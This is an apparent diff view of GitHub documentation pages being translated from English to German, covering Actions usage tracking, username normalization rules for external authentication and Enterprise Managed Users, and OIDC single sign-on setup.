Mit Richtlinieneinstellungen für {% data variables.product.prodname_actions %} kannst du das Speichern von Workflowartefakten{% ifversion actions-caching %}, Caches{% endif %} und die Protokollaufbewahrung anpassen. Weitere Informationen findest du unter [Erzwingen von Richtlinien für {% data variables.product.prodname_actions %} in deinem Unternehmen](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise).
{% endif %}
{% ifversion ghec %}
Some storage is included in your subscription, but additional storage will affect your bill. You should plan for this cost. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."
{% ifversion ghec %} Eine gewisse Speichermenge ist in deinem Abonnement enthalten, aber zusätzlicher Speicherplatz wirkt sich auf deine Rechnung aus. Du solltest diese Kosten einplanen. Weitere Informationen findest du unter [Informationen zur Abrechnung für {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions).
{% endif %}
## Tracking usage
## Nachverfolgen der Nutzung
You should consider making a plan to track your enterprise's usage of {% data variables.product.prodname_actions %}, such as how often workflows are running, how many of those runs are passing and failing, and which repositories are using which workflows.
Du solltest einen Plan zum Nachverfolgen der durch dein Unternehmen erfolgenden Nutzung von {% data variables.product.prodname_actions %} erstellen. Überlege zum Beispiel, wie oft Workflows ausgeführt werden, wie viele dieser Ausführungen erfolgreich sind und wie viele fehlschlagen, und von welchen Repositorys welche Workflows verwenden.
{% ifversion ghec %}
You can see basic details of storage and data transfer usage of {% data variables.product.prodname_actions %} for each organization in your enterprise via your billing settings. For more information, see "[Viewing your {% data variables.product.prodname_actions %} usage](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage#viewing-github-actions-usage-for-your-enterprise-account)."
{% ifversion ghec %} Du kannst grundlegende Details zu Speicher- und Datenübertragungsnutzung von {% data variables.product.prodname_actions %} für jede Organisation in deinem Unternehmen mithilfe der Abrechnungseinstellungen anzeigen. Weitere Informationen findest du unter [Anzeigen der {% data variables.product.prodname_actions %}-Nutzung](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage#viewing-github-actions-usage-for-your-enterprise-account).
For more detailed usage data, you{% else %}You{% endif %} can use webhooks to subscribe to information about workflow jobs and workflow runs. For more information, see "[About webhooks](/developers/webhooks-and-events/webhooks/about-webhooks)."
Wenn du ausführlichere Nutzungsdaten anzeigen möchtest, kannst du{% else %}Du kannst{% endif %} Webhooks verwenden, um Informationen über Workflowaufträge und Workflowausführungen zu abonnieren. Weitere Informationen findest du unter [Informationen zu Webhooks](/developers/webhooks-and-events/webhooks/about-webhooks).
Make a plan for how your enterprise can pass the information from these webhooks into a data archiving system. You can consider using "CEDAR.GitHub.Collector", an open source tool that collects and processes webhook data from {% data variables.product.prodname_dotcom %}. For more information, see the [`Microsoft/CEDAR.GitHub.Collector` repository](https://github.com/microsoft/CEDAR.GitHub.Collector/).
Plane, wie dein Unternehmen die Informationen aus diesen Webhooks in ein Datenarchivierungssystem übertragen kann. Du kannst „CEDAR.GitHub.Collector“ verwenden, ein Open-Source-Tool, mit dem Webhookdaten aus {% data variables.product.prodname_dotcom %} gesammelt und verarbeitet werden. Weitere Informationen findest du im [`Microsoft/CEDAR.GitHub.Collector`-Repository](https://github.com/microsoft/CEDAR.GitHub.Collector/).
You should also plan how you'll enable your teams to get the data they need from your archiving system.
Du solltest auch planen, wie du es deinen Teams ermöglichst, die benötigten Daten aus deinem Archivierungssystem abzurufen.

Просмотреть файл

@ -1,7 +1,7 @@
---
title: Username considerations for external authentication
title: Überlegungen zum Benutzernamen für die externe Authentifizierung
shortTitle: Username considerations
intro: '{% ifversion ghes or ghec %}When you use {% ifversion ghes %}CAS, LDAP, or SAML for authentication{% elsif ghec %}{% data variables.product.prodname_emus %}{% endif %}, {% endif %}{% data variables.product.product_name %} follows certain rules to determine the username for each user account {% ifversion ghec or ghae %}in your enterprise{% elsif ghes %}on your instance{% endif %}.'
intro: '{% ifversion ghes or ghec %}Wenn du {% ifversion ghes %}CAS, LDAP oder SAML für die Authentifizierung verwendest{% elsif ghec %}{% data variables.product.prodname_emus %}{% endif %}, befolgt {% endif %}{% data variables.product.product_name %} bestimmte Regeln, um den Benutzernamen für jedes Benutzerkonto {% ifversion ghec or ghae %}in deinem Unternehmen{% elsif ghes %}auf deiner Instanz zu bestimmten{% endif %}.'
miniTocMaxHeadingLevel: 3
versions:
ghec: '*'
@ -14,154 +14,151 @@ topics:
- Enterprise
- Identity
- SSO
ms.openlocfilehash: 8a330fe790665ef360bc5a5841e20ec8df002eb0
ms.sourcegitcommit: 00814c80b0f5fa76188c378a1196ef8fc5288113
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 10/31/2022
ms.locfileid: '148120751'
---
{% ifversion ghec %} {% note %}
{% ifversion ghec %}
{% note %}
**Hinweis:** Dieser Artikel gilt nur für {% data variables.product.prodname_emus %}. Wenn du {% data variables.product.prodname_ghe_cloud %} ohne {% data variables.product.prodname_emus %} verwendest, werden Benutzernamen von Benutzer*innen erstellt und nicht von {% data variables.product.prodname_dotcom %}.
**Note:** This article only applies to {% data variables.product.prodname_emus %}. If you use {% data variables.product.prodname_ghe_cloud %} without {% data variables.product.prodname_emus %}, usernames are created by users, not {% data variables.product.prodname_dotcom %}.
{% endnote %} {% endif %}
{% endnote %}
{% endif %}
## About usernames with external authentication
## Informationen zu Benutzernamen mit externer Authentifizierung
{% ifversion ghes %}
You can configure external authentication for {% data variables.product.product_name %} using CAS, LDAP, or SAML. For more information, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#authentication-methods-for-github-enterprise-server)."
Du kannst die externe Authentifizierung für {% data variables.product.product_name %} mit CAS, LDAP oder SAML konfigurieren. Weitere Informationen findest du unter [Informationen zur Authentifizierung für dein Unternehmen](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#authentication-methods-for-github-enterprise-server).
When you use external authentication, {% data variables.location.product_location %} automatically creates a username for each person when the person signs into {% data variables.location.product_location %} through your external authentication system for the first time.
Wenn du die externe Authentifizierung verwendest, erstellt {% data variables.location.product_location %} automatisch einen Benutzernamen für jede Person, wenn sich diese Person über dein externes Authentifizierungssystem zum ersten Mal bei {% data variables.location.product_location %} anmeldet.
{% elsif ghec %}
If you use an enterprise with {% data variables.product.prodname_emus %}, members of your enterprise authenticate to access {% data variables.product.prodname_dotcom %} through your SAML identity provider (IdP). For more information, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users)" and "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#authentication-methods-for-github-enterprise-server)."
Wenn du ein Unternehmen mit {% data variables.product.prodname_emus %} verwendest, müssen sich Mitglieder deines Unternehmens authentifizieren, um auf {% data variables.product.prodname_dotcom %} über deinen SAML-Identitätsanbieter (IdP) zuzugreifen. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users) und [Informationen zur Authentifizierung für dein Unternehmen](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#authentication-methods-for-github-enterprise-server).
{% data variables.product.prodname_dotcom %} automatically creates a username for each person when their user account is provisioned via SCIM, by normalizing an identifier provided by your IdP, then adding an underscore and short code. If multiple identifiers are normalized into the same username, a username conflict occurs, and only the first user account is created. You can resolve username problems by making a change in your IdP so that the normalized usernames will be unique and within the 39-character limit.
{% data variables.product.prodname_dotcom %} erstellt automatisch einen Benutzernamen für jede Person, wenn ihr Benutzerkonto über SCIM bereitgestellt wird, indem ein Bezeichner normalisiert wird, der von deinem IdP bereitgestellt wird. Anschließend werden ein Unterstrich und Kurzcode hinzugefügt. Wenn mehrere Bezeichner im selben Benutzernamen normalisiert werden, tritt ein Benutzernamenskonflikt auf, und nur das erste Benutzerkonto wird erstellt. Du können Benutzernamenskonflikte lösen, indem du eine Änderung in deinem Identitätsanbieter vornimmst, sodass die normalisierten Benutzernamen eindeutig sind und den Grenzwert von 39 Zeichen einhalten.
{% data reusables.enterprise-accounts.emu-only-emails-within-the-enterprise-can-conflict %}
{% elsif ghae %}
{% data variables.product.product_name %} uses SAML SSO for authentication, and automatically creates a username for each person when the person signs in through your identity provider (IdP) for the first time.
{% data variables.product.product_name %} verwendet SAML-SSO für die Authentifizierung und erstellt automatisch einen Benutzernamen für jede Person, wenn sich die Person zum ersten Mal über deinen Identitätsanbieter (IdP) anmeldet.
{% endif %}
{% ifversion ghec %}
## About usernames for {% data variables.enterprise.prodname_managed_users %}
## Informationen zu Benutzernamen für {% data variables.enterprise.prodname_managed_users %}
When your {% data variables.enterprise.prodname_emu_enterprise %} is created, you will choose a short code that will be used as the suffix for your enterprise members' usernames. {% data reusables.enterprise-accounts.emu-shortcode %} The setup user who configures SAML SSO has a username in the format of **@<em>SHORT-CODE</em>_admin**.
Wenn deine {% data variables.enterprise.prodname_emu_enterprise %} erstellt wird, wählst du einen Kurzcode aus, der als Suffix für die Benutzernamen der Mitglieder deines Unternehmens verwendet wird. {% data reusables.enterprise-accounts.emu-shortcode %} Der Setupbenutzer, der SAML-SSO konfiguriert, hat einen Benutzernamen im Format von **@<em>SHORT-CODE</em>_admin**.
When you provision a new user from your identity provider, the new {% data variables.enterprise.prodname_managed_user %} will have a {% data variables.product.prodname_dotcom %} username in the format of **@<em>IDP-USERNAME</em>_<em>SHORT-CODE</em>**. The <em>IDP-USERNAME</em> component is formed by normalizing the SCIM `userName` attribute value sent from the IdP.
Wenn du einen neuen Benutzer aus deinem Identitätsanbieter bereitstellst, verfügt der neue {% data variables.enterprise.prodname_managed_user %} über einen {% data variables.product.prodname_dotcom %}-Benutzernamen im Format von **@<em>IDP-USERNAME</em>_<em>SHORT-CODE</em>** . Die <em>IDP-USERNAME</em>-Komponente wird durch Normalisierung des SCIM-Attributwerts `userName` gebildet, der aus dem IdP gesendet wird.
| Identity provider | {% data variables.product.prodname_dotcom %} username |
| Identitätsanbieter | {% data variables.product.prodname_dotcom %}-Benutzername |
|-----------------------------------|----------------------|
| Azure Active Directory (Azure AD) | _IDP-USERNAME_ is formed by normalizing the characters preceding the `@` character in the UPN (User Principal Name), which does not include the `#EXT#` for guest accounts. |
| Okta | _IDP-USERNAME_ is the normalized username attribute provided by the IdP. |
| Azure Active Directory (Azure AD) | Der _IDP-USERNAME_ wird durch Normalisieren der Zeichen erzeugt, die dem Zeichen `@` im UPN (Benutzerprinzipalname) vorausgehen, das nicht die `#EXT#` für Gastkonten enthält. |
| Okta | _IDP-USERNAME_ ist das normalisierte Benutzernamensattribut, das vom IdP bereitgestellt wird. |
These rules may result in your IdP providing the same _IDP-USERNAME_ for multiple users. For example, for Azure AD, the following UPNs will result in the same username:
Diese Regeln können dazu führen, dass dein IdP denselben _IDP-USERNAME_ für mehrere Benutzer bereitstellt. Für Azure AD führen beispielsweise die folgenden UPNs zu demselben Benutzernamen:
- `bob@contoso.com`
- `bob@fabrikam.com`
- `bob#EXT#fabrikamcom@contoso.com`
This will cause a username conflict, and only the first user will be provisioned. For more information, see "[Resolving username problems](#resolving-username-problems)."
Dies führt zu einem Benutzernamenskonflikt, und nur der erste Benutzer wird bereitgestellt. Weitere Informationen findest du unter [Beheben von Problemen mit Benutzernamen](#resolving-username-problems).
{% endif %}
Usernames{% ifversion ghec %}, including underscore and short code,{% endif %} must not exceed 39 characters.
Benutzernamen{% ifversion ghec %}, einschließlich Unterstrich und Kurzcode,{% endif %} dürfen 39 Zeichen nicht überschreiten.
## About username normalization
## Informationen zur Normalisierung von Benutzernamen
Usernames for user accounts on {% ifversion ghes or ghae %}{% data variables.product.product_name %}{% elsif ghec %}{% data variables.product.prodname_dotcom_the_website %}{% endif %} can only contain alphanumeric characters and dashes (`-`).
Benutzernamen für Benutzerkonten auf {% ifversion ghes or ghae %}{% data variables.product.product_name %}{% elsif ghec %}{% data variables.product.prodname_dotcom_the_website %}{% endif %} dürfen nur alphanumerische Zeichen und Bindestriche (`-`) enthalten.
{% ifversion ghec %}
When you configure SAML authentication, {% data variables.product.product_name %} uses the SCIM `userName` attribute value sent from the IdP to determine the username for the corresponding user account on {% data variables.product.prodname_dotcom_the_website %}. If this value includes unsupported characters, {% data variables.product.product_name %} will normalize the username per the following rules.
{% elsif ghes %}
When you configure CAS, LDAP, or SAML authentication, {% data variables.product.product_name %} uses an identifier from the user account on your external authentication provider to determine the username for the corresponding user account on {% data variables.product.product_name %}. If the identifier includes unsupported characters, {% data variables.product.product_name %} will normalize the username per the following rules.
{% elsif ghae %}
When you configure SAML authentication, {% data variables.product.product_name %} uses an identifier from the user account on your IdP to determine the username for the corresponding user account on {% data variables.product.product_name %}. If the identifier includes unsupported characters, {% data variables.product.product_name %} will normalize the username per the following rules.
{% ifversion ghec %} Wenn du die SAML-Authentifizierung konfigurierst, verwendet {% data variables.product.product_name %} den Attributwert `userName` von SCIM, der vom Identitätsanbieter gesendet wurde, um den Benutzernamen für das entsprechende Benutzerkonto auf {% data variables.product.prodname_dotcom_the_website %} zu bestimmen. Wenn dieser Wert nicht unterstützte Zeichen enthält, normalisiert {% data variables.product.product_name %} den Benutzernamen gemäß der folgenden Regeln.
{% elsif ghes %} Wenn du CAS, LDAP oder die SAML-Authentifizierung konfigurierst, verwendet {% data variables.product.product_name %} einen Bezeichner aus dem Benutzerkonto auf deinem externen Authentifizierungsanbieter, um den Benutzernamen für das entsprechende Benutzerkonto für {% data variables.product.product_name %} zu bestimmen. Wenn der Bezeichner nicht unterstützte Zeichen enthält, normalisiert {% data variables.product.product_name %} den Benutzernamen gemäß der folgenden Regeln.
{% elsif ghae %} Wenn du die SAML-Authentifizierung konfigurierst, verwendet {% data variables.product.product_name %} einen Bezeichner aus dem Benutzerkonto auf deinem Identitätsanbieter, um den Benutzernamen für das entsprechende Benutzerkonto für {% data variables.product.product_name %} zu bestimmen. Wenn der Bezeichner nicht unterstützte Zeichen enthält, normalisiert {% data variables.product.product_name %} den Benutzernamen gemäß der folgenden Regeln.
{% endif %}
1. {% data variables.product.product_name %} will normalize any non-alphanumeric character in your account's username into a dash. For example, a username of `mona.the.octocat` will be normalized to `mona-the-octocat`. Note that normalized usernames also can't start or end with a dash. They also can't contain two consecutive dashes.
1. {% data variables.product.product_name %} normalisieren alle nicht-alphanumerischen Zeichen im Benutzernamen deines Kontos in einen Bindestrich. So wird der Benutzername `mona.the.octocat` beispielsweise auf `mona-the-octocat` normalisiert. Beachte, dass die normalisierten Benutzernamen weder mit einem Bindestrich beginnen noch darauf enden können. Darüber hinaus können sie nicht zwei aufeinanderfolgende Bindestriche enthalten.
1. Usernames created from email addresses are created from the normalized characters that precede the `@` character.
1. Aus E-Mail-Adressen erstellte Benutzernamen werden anhand der normalisierten Zeichen erstellt, die dem Zeichen `@` vorangestellt sind.
1. Usernames created from domain accounts are created from the normalized characters after the `\\` separator.
1. Benutzernamen, die anhand von Domänenkonten erstellt wurden, werden aus den normalisierten Zeichen nach dem Trennzeichen `\\` erstellt.
1. If multiple accounts are normalized into the same {% data variables.product.product_name %} username, only the first user account is created. Subsequent users with the same username won't be able to sign in. {% ifversion ghec %}For more information, see "[Resolving username problems](#resolving-username-problems)."{% endif %}
1. Wenn mehrere Konten zum selben {% data variables.product.product_name %}-Benutzernamen normalisiert werden, wird nur das erste Benutzerkonto erstellt. Nachfolgende Benutzer mit demselben Benutzernamen können sich nicht anmelden. {% ifversion ghec %}Weitere Informationen findest du unter [Beheben von Problemen mit Benutzernamen](#resolving-username-problems)."{% endif %}
### Examples of username normalization
### Beispiele für die Normalisierung von Benutzernamen
| Identifier on provider | Normalized username on {% data variables.product.prodname_dotcom %} | Result |
| Bezeichner des Anbieters | Normalisierter Benutzername für {% data variables.product.prodname_dotcom %} | Ergebnis |
| :- | :- | :- |
| The.Octocat | `the-octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is created successfully. |
| !The.Octocat | `-the-octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created, because it starts with a dash. |
| The.Octocat! | `the-octocat-{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created, because it ends with a dash. |
| The!!Octocat | `the--octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created, because it contains two consecutive dashes. |
| The!Octocat | `the-octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created. Although the normalized username is valid, it already exists. |
| `The.Octocat@example.com` | `the-octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created. Although the normalized username is valid, it already exists. |
| `internal\\The.Octocat` | `the-octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created. Although the normalized username is valid, it already exists. |
| `mona.lisa.the.octocat.from.github.united.states@example.com` | `mona-lisa-the-octocat-from-github-united-states{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created, because it exceeds the 39-character limit. |
| The.Octocat | `the-octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | Dieser Benutzername wird erfolgreich erstellt. |
| !The.Octocat | `-the-octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | Dieser Benutzername wird nicht erstellt, da er mit einem Bindestrich beginnt. |
| The.Octocat! | `the-octocat-{% ifversion ghec %}_SHORT-CODE{% endif %}` | Dieser Benutzername wird nicht erstellt, da er mit einem Bindestrich endet. |
| The!!Octocat | `the--octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | Dieser Benutzername wird nicht erstellt, da er zwei aufeinanderfolgende Bindestriche enthält. |
| The!Octocat | `the-octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | Dieser Benutzername wird nicht erstellt. Obwohl der normalisierte Benutzername gültig ist, ist er bereits vorhanden. |
| `The.Octocat@example.com` | `the-octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | Dieser Benutzername wird nicht erstellt. Obwohl der normalisierte Benutzername gültig ist, ist er bereits vorhanden. |
| `internal\\The.Octocat` | `the-octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | Dieser Benutzername wird nicht erstellt. Obwohl der normalisierte Benutzername gültig ist, ist er bereits vorhanden. |
| `mona.lisa.the.octocat.from.github.united.states@example.com` | `mona-lisa-the-octocat-from-github-united-states{% ifversion ghec %}_SHORT-CODE{% endif %}` | Dieser Benutzername wird nicht erstellt, da er den Grenzwert von 39 Zeichen überschreitet. |
{% ifversion not ghec %}
### About username normalization with SAML
### Informationen zur Normalisierung des Benutzernamens mit SAML
{% ifversion ghes %}If you configure SAML authentication for {% data variables.location.product_location %}, {% endif %}{% data variables.product.product_name %} determines each person's username by one of the following assertions in the SAML response, ordered by descending priority.
{% ifversion ghes %}Wenn du die SAML-Authentifizierung für {% data variables.location.product_location %}, konfigurierst, bestimmt {% endif %}{% data variables.product.product_name %} den Benutzernamen jeder Person durch eine der folgenden Behauptungen in der SAML-Antwort, sortiert durch absteigende Priorität.
1. The custom `username` attribute, if defined and present
1. An `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name` assertion, if present
1. An `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress` assertion, if present
1. The `NameID` element
1. das benutzerdefinierte `username`-Attribut, sofern definiert und vorhanden
1. Eine `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name`-Assertion, wenn vorhanden
1. Eine `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress`-Assertion, wenn vorhanden
1. Das `NameID`-Element
{% data variables.product.product_name %} requires the `NameID` element even if other attributes are present. For more information, see "[SAML configuration reference](/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference#saml-attributes)."
{% data variables.product.product_name %} erfordert das `NameID`-Element auch dann, wenn andere Attribute vorhanden sind. Weitere Informationen findest du in der [SAML-Konfigurationsreferenz](/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference#saml-attributes).
{% data variables.product.product_name %} creates a mapping between the `NameID` from the IdP and the username {% ifversion ghae %}in{% else %}on{% endif %} {% data variables.location.product_location %}, so the `NameID` should be persistent, unique, and not subject to change for the lifecycle of the user.
{% data variables.product.product_name %} erstellt eine Zuordnung zwischen `NameID` aus dem IdP und dem Benutzernamen {% ifversion ghae %}in{% else %}auf{% endif %} {% data variables.location.product_location %}, sodass `NameID` beständig, eindeutig und nicht dem Lebenszyklus des Benutzers unterliegen soll.
{% ifversion ghes %}
{% note %}
{% ifversion ghes %} {% note %}
**Note**: If the `NameID` for a user does change on the IdP, the person will see an error message when signing into {% data variables.location.product_location %}. To restore the person's access, you'll need to update the user account's `NameID` mapping. For more information, see "[Updating a user's SAML `NameID`](/admin/identity-and-access-management/using-saml-for-enterprise-iam/updating-a-users-saml-nameid)."
**Hinweis**: Wenn sich die `NameID` für eine Person für den IdP ändert, wird dem Benutzer beim Versuch, sich bei {% data variables.location.product_location %} anzumelden, eine Fehlermeldung angezeigt. Damit der Zugriff der Person wiederhergestellt werden kann, musst du die `NameID`-Zuordnung des Benutzerkontos entsprechend aktualisieren. Weitere Informationen findest du unter [Aktualisieren der SAML-`NameID` eines Benutzers](/admin/identity-and-access-management/using-saml-for-enterprise-iam/updating-a-users-saml-nameid).
{% endnote %}
{% endif %}
{% endif %}
{% endnote %} {% endif %} {% endif %}
{% ifversion ghec %}
## Resolving username problems
## Beheben von Problemen mit Benutzernamen
When a new user is being provisioned, if the username is longer than 39 characters (including underscore and short code), or conflicts with an existing user in the enterprise, the provisioning attempt will fail with a `409` error.
Wenn bei der Bereitstellung eines neuen Benutzers der Benutzername länger als 39 Zeichen ist (einschließlich Unterstrich und Kurzcode) oder mit einem bereits vorhandenen Benutzer im Unternehmen in Konflikt steht, schlägt der Bereitstellungsversuch mit dem Fehler `409` fehl.
To resolve this problem, you must make one of the following changes in your IdP so that all normalized usernames will be within the character limit and unique.
- Change the `userName` attribute value for individual users that are causing problems
- Change the `userName` attribute mapping for all users
- Configure a custom `userName` attribute for all users
Um dieses Problem zu lösen, musst du eine der folgenden Änderungen in deinem Identitätsanbieter vornehmen, damit alle normalisierten Benutzernamen innerhalb der Zeichenobergrenze liegen und eindeutig sind.
- Ändere den Wert des Attributs `userName` für einzelne Benutzer, die Probleme verursachen.
- Ändere die Zuordnung des Attributs `userName` für alle Benutzer.
- Konfiguriere für alle Benutzer ein benutzerdefiniertes Attribut `userName`.
When you change the attribute mapping, usernames of existing {% data variables.enterprise.prodname_managed_users %} will be updated, but nothing else about the accounts will change, including activity history.
Wenn du die Attributzuordnung änderst, werden Benutzernamen vorhandener {% data variables.enterprise.prodname_managed_users %} aktualisiert, jedoch ändert sich nichts weiter an den Konten, auch nicht am Aktivitätsverlauf.
{% note %}
**Note:** {% data variables.contact.github_support %} cannot provide assistance with customizing attribute mappings or configuring custom expressions. You can contact your IdP with any questions.
**Hinweis:** {% data variables.contact.github_support %} kann keine Unterstützung beim Anpassen von Attributzuordnungen oder zum Konfigurieren von benutzerdefinierten Ausdrücken bieten. Wenn du diesbezüglich Fragen hast, wende dich an deinen Identitätsanbieter.
{% endnote %}
### Resolving username problems with Azure AD
### Beheben von Problemen mit Benutzernamen mit Azure AD
To resolve username problems in Azure AD, either modify the User Principal Name value for the conflicting user or modify the attribute mapping for the `userName` attribute. If you modify the attribute mapping, you can choose an existing attribute or use an expression to ensure that all provisioned users have a unique normalized alias.
Um Probleme mit Benutzernamen in Azure AD zu beheben, ändere entweder den Wert des Benutzerprinzipalnamens für den in Konflikt stehenden Benutzer oder die Attributzuordnung für das Attribut `userName`. Wenn du die Attributzuordnung ändert, kannst du ein vorhandenes Attribut auswählen oder einen Ausdruck verwenden, um sicherzustellen, dass alle bereitgestellten Benutzer einen eindeutigen normalisierten Alias haben.
1. In Azure AD, open the {% data variables.product.prodname_emu_idp_application %} application.
1. In the left sidebar, click **Provisioning**.
1. Click **Edit Provisioning**.
1. Expand **Mappings**, then click **Provision Azure Active Directory Users**.
1. Click the {% data variables.product.prodname_dotcom %} `userName` attribute mapping.
1. Change the attribute mapping.
- To map an existing attribute in Azure AD to the `userName` attribute in {% data variables.product.prodname_dotcom %}, click your desired attribute field. Then, save and wait for a provisioning cycle to occur within about 40 minutes.
- To use an expression instead of an existing attribute, change the Mapping type to "Expression", then add a custom expression that will make this value unique for all users. For example, you could use `[FIRST NAME]-[LAST NAME]-[EMPLOYEE ID]`. For more information, see [Reference for writing expressions for attribute mappings in Azure Active Directory](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/functions-for-customizing-application-data) in Microsoft Docs.
1. Öffne in Azure AD die {% data variables.product.prodname_emu_idp_application %}-Anwendung.
1. Klicke auf der linken Randleiste auf **Bereitstellung**.
1. Klicke auf **Bereitstellung bearbeiten**.
1. Erweitere **Zuordnungen**, und klicke dann auf **Azure Active Directory-Benutzer bereitstellen**.
1. Klicke auf die `userName`-Attributzuordnung von {% data variables.product.prodname_dotcom %}.
1. Ändere die Attributzuordnung.
- Wenn du ein vorhandenes Attribut in Azure AD dem `userName`-Attribut in {% data variables.product.prodname_dotcom %} zuordnen möchtest, klicke auf das gewünschte Attributfeld. Speichere und warte dann, bis der Bereitstellungszyklus beginnt. Dies sollte innerhalb von ca. 40 Minuten passieren.
- Um einen Ausdruck anstelle eines vorhandenen Attributs zu verwenden, ändere den Zuordnungstyp in „Ausdruck“, und füge dann einen benutzerdefinierten Ausdruck hinzu, der diesen Wert für alle Benutzer eindeutig macht. Du kannst beispielsweise `[FIRST NAME]-[LAST NAME]-[EMPLOYEE ID]` verwenden. Weitere Informationen findest du in der [Referenz zum Schreiben von Ausdrücken für Attributzuordnungen in Azure Active Directory](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/functions-for-customizing-application-data).
### Resolving username problems with Okta
### Beheben von Problemen mit Benutzernamen mit Okta
To resolve username problems in Okta, update the attribute mapping settings for the {% data variables.product.prodname_emu_idp_application %} application.
Um Probleme mit Benutzernamen in Okta zu beheben, aktualisiere die Attributzuordnungseinstellungen für die {% data variables.product.prodname_emu_idp_application %}-Anwendung.
1. In Okta, open the {% data variables.product.prodname_emu_idp_application %} application.
1. Click **Sign On**.
1. In the "Settings" section, click **Edit**.
1. Update the "Application username format."
1. Öffne in Okta die {% data variables.product.prodname_emu_idp_application %}-Anwendung.
1. Klicke auf **Anmelden**.
1. Klicke im Abschnitt „Einstellungen“ auf **Bearbeiten**.
1. Aktualisiere das „Format für den Anwendungsbenutzernamen“.
{% endif %}

Просмотреть файл

@ -1,7 +1,7 @@
---
title: Configuring OIDC for Enterprise Managed Users
title: Konfigurieren von OIDC für Enterprise Managed Users
shortTitle: OIDC for managed users
intro: 'You can automatically manage access to your enterprise account on {% data variables.product.prodname_dotcom %} by configuring OpenID Connect (OIDC) single sign-on (SSO) and enable support for your IdP''s Conditional Access Policy (CAP).'
intro: 'Du kannst den Zugriff auf dein Unternehmenskonto auf {% data variables.product.prodname_dotcom %} automatisch verwalten, indem du OpenID Connect (OIDC) Single Sign-On (SSO) konfigurierst und die Unterstützung für die Richtlinie für bedingten Zugriff (Conditional Access Policy, CAP) deines IdP aktivierst.'
product: '{% data reusables.gated-features.emus %}'
versions:
feature: oidc-for-emu
@ -10,40 +10,42 @@ topics:
- Authentication
- Enterprise
- SSO
ms.openlocfilehash: caa557cb976fb60a59572e1623db6be87efeee54
ms.sourcegitcommit: c562c85cc75ffe1eb4e9595d8adc09ec71697ab1
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/22/2022
ms.locfileid: '148179989'
---
{% data reusables.enterprise-accounts.azure-emu-support-oidc %}
## About OIDC for Enterprise Managed Users
## Informationen zu OIDC für Enterprise Managed Users
With {% data variables.product.prodname_emus %}, your enterprise uses your identity provider (IdP) to authenticate all members. You can use OpenID Connect (OIDC) to manage authentication for your {% data variables.enterprise.prodname_emu_enterprise %}. Enabling OIDC SSO is a one-click setup process with certificates managed by {% data variables.product.prodname_dotcom %} and your IdP.
Mit {% data variables.product.prodname_emus %} verwendet dein Unternehmen deinen Identitätsanbieter (IdP) für die Authentifizierung aller Mitglieder. Du kannst mit OpenID Connect (OIDC) die Authentifizierung für dein {% data variables.enterprise.prodname_emu_enterprise %} verwalten. Das Aktivieren von OIDC SSO ist ein One-Klick-Einrichtungsprozess mit Zertifikaten, die von {% data variables.product.prodname_dotcom %} und deinem IdP verwaltet werden.
{% data reusables.enterprise-accounts.emu-cap-validates %} For more information, see "[About support for your IdP's Conditional Access Policy](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy)."
{% data reusables.enterprise-accounts.emu-cap-validates %} Weitere Informationen findest du unter [Informationen zur Unterstützung der Richtlinie für bedingten Zugriff deines IdP](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy).
You can adjust the lifetime of a session, and how often a {% data variables.enterprise.prodname_managed_user %} needs to reauthenticate with your IdP, by changing the lifetime policy property of the ID tokens issued for {% data variables.product.prodname_dotcom %} from your IdP. The default lifetime is one hour. For more information, see "[Configurable token lifetimes in the Microsoft identity platform](https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes)" in the Azure AD documentation.
